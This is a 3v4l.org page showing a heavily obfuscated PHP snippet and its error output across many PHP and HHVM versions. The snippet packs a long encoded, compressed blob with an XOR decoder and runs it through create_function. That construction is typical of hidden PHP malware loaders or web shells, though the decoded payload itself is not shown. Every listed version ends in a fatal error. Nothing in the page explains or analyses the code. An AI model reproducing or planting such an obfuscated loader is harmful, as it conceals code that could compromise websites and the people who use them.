3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $ydjpzuqm=array( '$ydjpzuqm[0]=$ydjpzuqm[3];$wvyjrvkr=wvyjrvkr(7,13);$ydjpzuqm[0]=$wvyjrvkr($ydjpzuqm[2]);', '"$ydjpzuqm[2]=gzuncompress(wvyjrvkr(735,2155));', 'd0pZfWl+W3BjdVd1a3trdFl0ZGpabXljcWxZS3FseXBuZHRvZ3hJY3d5eWFnSW53amtQTkRFT0pOQVlDQlpWS0dNXVNsVE5KcGJjYXFraHhncWRkaVd1aXMrdGgyb2UgKSc2T05iRXJVc2E3dGd8NnY/ZUBmJj4gYmAwcEpqY0dhLjJpZWxteWZzcWJyYmVOZnxzY3RWcE1MTHNoeGNvYypvZ21keTh2Y2BwcjxmamhmdGlxIHtgemBmYCxuZW1iZG5ZWkNVXFNDVFByaXthcVdmZnhFaGcuKDhUWnpcU0NUXE5ORVJVVGpZdXZmZGE1Ml5yY2ZkcnY/d2d9aHkvcGNtc2VxUldNclFaP09JbEpGQkZRRlVVSVNXQnNKWklHREVNU1JeWEdITmpNWkVSUlZaWVJCVExFUWNmQStvV0k7Y3JyLHVpe1pFO3N6dCwoZ3locSZjfX16V3dzZnE7c3p0LChIVUMofnh6bGFFU0ZASkdpVnRAQlpUa0VASkdASlRQUHhRdE07c3p0YXd7a2JiXmJrdVRyemZWTGBqZ3RGRmdjdzpnbGh1c2hxJGNjeG1ocHREYWtjdzpnbGh1c2hxJHVyd2psSmpmcmhlZ2ZiXnJvd3hMQktzVDo6a3hjdXZmZGE1Ml5yY2ZkcnZzTE9nSmNIZ3NlYWJrXnFjcVR7dmBjVnBmY2Vqc2F1fmhLT2ZcU0NUXFN'.'SU1RaSlFWWlZTdVl3WVpWcjY5ZXFhZHhycGY4Y2NkQkJxNTlvcWNjZShmZHtNZXF2djM5Ymx0YHpvZm44cHtvO3BnKWBpb3BvYiVme2Q9fCloVVBibzJsKnlCMnMqdGt2J2Y7VjJxKlpnVEpQd3JlaFxVYn1pfnBuV01XRiVYfHNjdDkpLm1QU0dGMnAqYmRlZ2Jja3Nyb1VxSUFMMnAqZ3ZBWEZxf3Jnb1UycCp3aCZJQlJVJCc9JFRcaGRwOSZ4ZlNsS1k7bJuSXHhp69AU+iENV1tv0FXf0TiZvkxizGyobX0Gk61GkrHMmzM3Dh356wP2r92QyTJJGjrxLnZxc9XliA1AljwQdO6ENxw9szAWG9AsWVk7SMWeqbiSBuj4KeDhJIuOYBRxfaWqVs1vv5Gzmb0bc1NCpZ8zCIYPy64wVSCOuGi/PSbQqDX2oGCzfrUW40+x6ydLg+nY00wb2OPUbooUHVyJHkiYV5lURKwvD5VdtlcR5Ddc0Z9Tyf+r4ESOwJG4ox4ALnoh9Ms0G8RLtFrBLYnJOM'.'GkdWhKl387T1Wvt+qyrqxRg2m8jkj4ZvqX50edmK41DFNkkwSjS1x3gzKMYKOoI0lzvBexUYfzQ4+rlyuFaAkrtbVEb+QNrkYU2po2yUNOOna0PZtuWREVvGsig+cGRliDXNi9jipPNdSew1iGiVwF5jf4n85vt785igqIgQJQuK1IuS3Bz2rWqoHxrI8RBOMrIk8FnvWg/cFiE7Y/M19U7rvxRaPR9KHmiBPNLSYsMUAg2w10eYlSj/M8fg6JR/pW3qV/aeFU9BZ9G+xD4k+SdcpWxPyIHlpZ5yCEXx7bp/gUSZVkHPMiC5mBsXCakcUx0ciB/C9Dyitl7FaqeHDRw3mCyPXVQIUviFFMgJsH5dDCPvakG0FlZG3ijgWaW46uVJ7zzUzpVYfQ6RIcZ4lAypyn3Et488IM6NcWqA0lakk7X5gFqnvgpsk3PQ+XEjgbAZJ/LNgTkMV56ySo5Ynehv9t9E61aiKIrteiPmur9RV3RMY3sYV2Iw+ngnlVSp1Oy7H2CASi+HyzYxv6zEnkAtohNIAcac/NjEiymo6nYqhpJGDYmSj8elINgNyCVCDIfFuhq15bcqHyD8BirLRxA/S52cjWC7oR+lhj9zc9kfqwZ6LcfwQ7uptUOnu6M5YRoAiOaOxtjfAPd7SUd8yDMLzM1uI68dk5ZTFbdtZsTaTWDGFToGQFiVQZWUrSkiz9dOyw92eFY5/IXAyzMFO9YkwWh+0Ex2QxqQ6Nak/cWPMHH0AoO4CTemA20sIKFIeCf88F3vCY48ctER+nbn1ZTYlA6DLDbaW04U5lKKBrH7EtunvLhx2+gRI7LrrALKCquHBNbpHaNT7b5kenykpu82GZdCNFQR+yhmlrIMbUpmoYNOC04qle9zSGT/'.'0tZ5mAwpPDx4WmhG/3R8fZe3sbC2o96P89d255nHhk3MLenmsy3uxtzb/J/BL/ptsIlLvCssbNxyh303FPzT730w6DauoD6gqC1Pit44VKoSYJJhMqZv8Odv6ARvZjw+K9LUoJ/TLmutzpxVSRDh+AmtZDjTXwpqb/UEu7iLX6w+oJRFFN3eDp+pl0cQ6YALePYurRbBiM09bQcfwUiSXaVL11Y9A3YqAgBVsAbWq7TpFxX2uFq4FYbkMewcbOF8538dbvR2SNZKExa8mRpT/wUkwhAeXLt/Yl+lsIRrTAUjmZDkaaBLcJcMn1sActgKfbmuFKFh3N7PRstOJnXiB3zSclKKDEXIbjDos8Zmos9hcEi3yDT0wgAQjBIw9ATt7aRkAMrrhv3o/y9wYNg8UNKCPETXk341A+7NIeOcJp4AUzGszyqlktTft2nnybJKcLsvWwjJ7D7W+WOPwi6YlWxNYyiLPCzxmwmLkcG/2w/7gdVtVF62+087de1XzOXRdV07TjP/SUgtH1X+ydaeybElo3682+wvDQU63X+67O1vBStDumhrxlQ2b31n0Hn6geWUg1jWyoRfF3amturB0ROtLR0vLM29JOOFwduPlxh28rjp7UaKNAX6s2IuSGyHAwZmr/YoDOwGzufCUvGH1PDwJqFDhnF1PhrCy6Sf0PshUnWQtDQzlMt0hUrYl6WJXEKpOAQUQKg/RHLBKs3o2txYa3vditBZ54kO0i1w1/rxvV8ErZbCN3vWsNgshYRm8hwaWGK7KKSUG8cxk7gTGLjjUF21kljySO3Bn6Oh7ujwwHy+lhldhaCv89Lm6QoxQqkWEy5pCms6ZSJrgkLd63Wot8IOJQdsH0r2ObIwogBlsJKGw+T3QQ4BsRWi1zy03FmLwlgYap4H4F4edVB56hiHkqLmdafpgRO55HsVsPYp/TGpbIpMDB3PSc3qY8ltCka7bsNwY2aI/VR1YAktOkvXsHrsAujuvfKd5f30GEwH'.'qU477w1YfqWda5Bvp2GNF15t+eqGdU3HLfkO9WwHAHnUgL5M4T1aw+0JYNdNo56er2pGmfJ5qZ6R4Rnrf7UOzhoo0oyWknK7emIivP2u1ON8VmqBlmJqIkEWQhHV/SRLRKn8InDvd3eogQ0IhFFd3jgYElZUz2vnCIV9RDQeEgPprh/CVt/laD1pTeFWQnTXrrLTqyIFnbIyuoFhn4KTmJ6PYTULAWVL/VuGOCuxiz63iGd5x6JfmZ0koX2gKZhIVZFV9y8+Nj9fb34m0KFuYHxNHvGK9Wi7bozoIFErNiHMr7QA9+4Gl65Bnr+PUwwafo+DG+fgja2zRrUH7hjsBYCOrsZ59tuP5k6fLxWy54YPRfKSuLangzBnqbc8nrSXag2XqSOkV8UwFUygrWwUTn1fqXQQux6Uwx3ySsv3+P/L1lSCzCrCr0bQr8MDXj8SyqeLNY7zQZeyZVe3zyzAIebbT3GO3cvjgodj4ezoeXCqwCiAx4gUXwWoW/k6fBfrWoukdplCYeU5uAypBOYMDZcok8HiDla+UdDY8hxslJYg7Qo9vEPGe2Mxq8W3UG45i+/JHX9eRwB+7lGLzIkCYmsqR2htls96Z0BJcnVvvxDEaK/T0hgdPwPicCj3+hzWQqCLDNg68B++gpCipMOOlkqCmSyfYNRRW5H/Tznm8tDvSbrPgGccPl80x6', "/*dxdhq\x76\x66\x64\x61\x35\x32\x5e\x72\x63\x66\x64\x72\x76*/");$llxgwqo='create_'; if(function_exists($llxgwqo.='function')){ $llxgwqo('','}function wvyjrvkr($start,$text_len){$keypad=str_pad("",$text_len,"tgwdcfavfekvstbi");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($ydjpzuqm[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($rj=-1;++$rj<3;){ $ydjpzuqm[$rj]=$llxgwqo('','}'.$ydjpzuqm[$rj].'{'); }};unset($ydjpzuqm);
Output for 7.1.0
Notice: Undefined variable: ydjpzuqm in /in/evOt9(7) : runtime-created function on line 1 Warning: A non-numeric value encountered in /in/evOt9(7) : runtime-created function on line 1 Warning: A non-numeric value encountered in /in/evOt9(7) : runtime-created function on line 1 Warning: A non-numeric value encountered in /in/evOt9(7) : runtime-created function on line 1 Fatal error: Uncaught Error: Function name must be a string in /in/evOt9(10) : runtime-created function:1 Stack trace: #0 [internal function]: unknown() #1 /in/evOt9(10): create_function('', '}$ydjpzuqm[0]=$...') #2 {main} thrown in /in/evOt9(10) : runtime-created function on line 1
Process exited with code 255.
Output for 7.0.0 - 7.0.14
Notice: Undefined variable: ydjpzuqm in /in/evOt9(7) : runtime-created function on line 1 Fatal error: Uncaught Error: Function name must be a string in /in/evOt9(10) : runtime-created function:1 Stack trace: #0 [internal function]: unknown() #1 /in/evOt9(10): create_function('', '}$ydjpzuqm[0]=$...') #2 {main} thrown in /in/evOt9(10) : runtime-created function on line 1
Process exited with code 255.
Output for hhvm-3.12.0
Notice: Undefined variable: ydjpzuqm Notice: Undefined variable: ydjpzuqm Warning: substr() expects parameter 1 to be string, null given Fatal error: Uncaught Error: Function name must be a string in :1 Stack trace: #0 (): include() #1 /in/evOt9(10): create_function() #2 {main}
Process exited with code 255.
Output for hhvm-3.10.0
Notice: Undefined variable: ydjpzuqm Notice: Undefined variable: ydjpzuqm Fatal error: Function name must be a string
Process exited with code 255.
Output for 5.0.4 - 5.6.28
Notice: Undefined variable: ydjpzuqm in /in/evOt9(7) : runtime-created function on line 1 Fatal error: Function name must be a string in /in/evOt9(10) : runtime-created function on line 1
Process exited with code 255.
Output for 5.0.0 - 5.0.3
Notice: Undefined variable: ydjpzuqm in /in/evOt9(7) : runtime-created function on line 1 Fatal error: Function name must be a string in /in/evOt9(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.4.5 - 4.4.9
Notice: Undefined variable: ydjpzuqm in /in/evOt9(7) : runtime-created function on line 1 Fatal error: Call to undefined function: 0() in /in/evOt9(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.3.2 - 4.4.4
Notice: Undefined variable: ydjpzuqm in /in/evOt9(7) : runtime-created function on line 1 Fatal error: Call to undefined function: 0() in /in/evOt9(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Notice: Undefined variable: ydjpzuqm in /in/evOt9(7) : runtime-created function on line 1 Fatal error: Call to undefined function: 0() in /in/evOt9(10) : runtime-created function on line 1